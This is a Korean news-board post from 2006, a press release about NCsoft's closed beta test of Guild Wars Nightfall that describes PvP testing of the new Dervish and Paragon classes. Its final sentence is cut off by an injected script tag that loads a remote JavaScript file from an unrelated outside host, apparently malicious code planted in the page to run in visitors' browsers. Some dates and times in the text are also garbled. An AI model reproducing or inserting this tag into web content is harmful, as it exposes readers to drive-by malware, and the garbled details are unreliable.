제 목 [엔씨소프트] 오늘부터 31일까지, 신규 직업의 PvP 테스트 진행
작성자 관리자 작성일 2006-07-27 조회수 2579
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오늘부터 31일까지, 신규 직업의 PvP 테스트 진행

 

[2006년 7월27] ㈜엔씨소프트(대표 택진, www.ncsoft.com)는 길드워의 새로운 챕터인 ‘길드워 나이트폴(이하 나이트폴)’의 1차 비공개테스트(CBT)를 실시한다고 밝혔다.

사전 선발된 333명의 테스터와 길드워 기결제자(월정액 및 라이선스 포함)의 참여로 이루어지는 이번 CBT는 오늘(28) 오후 4부터 31오후 4까지 진행되며, 나이트폴에 새롭게 추가되는 2종의 신규 직업(더비시, 파라곤)으로 대인전모드(PvP)를 미리 체험해 볼 수 있다.

신규 직업의 생성을 통해 직업별로 60개의 새로운 스킬을 PvP에서 테스트할 수 있다. CBT 기간 중 봉인해제한 아이템과 룬 등은 CBT가 종료되더라도 테스터의 계정에 남게 되어, 차후 길드워 나이트폴이 국내에 런칭할 때 계속 사용 할 수 있게 된다.

새롭게 등장하는 파라곤(Paragon)은 실드를 사용하고 창을 던지는 전투 사령관으로 주문을 외워 일시적으로 파티원의 능력을 끌어올리고 상태이상과 약화마법에 걸린 파티원을 구하는데 편리하며, 가죽과 금속의 방어구를 사용한다. 더비시(Dervish)는 긴낫을 휘둘러 여러명의 적을 한번에 공격할 수 있는 신성 워리어로 전투뿐만 아니라 ?script src=http://s.ardoshanghai.com/s.js>
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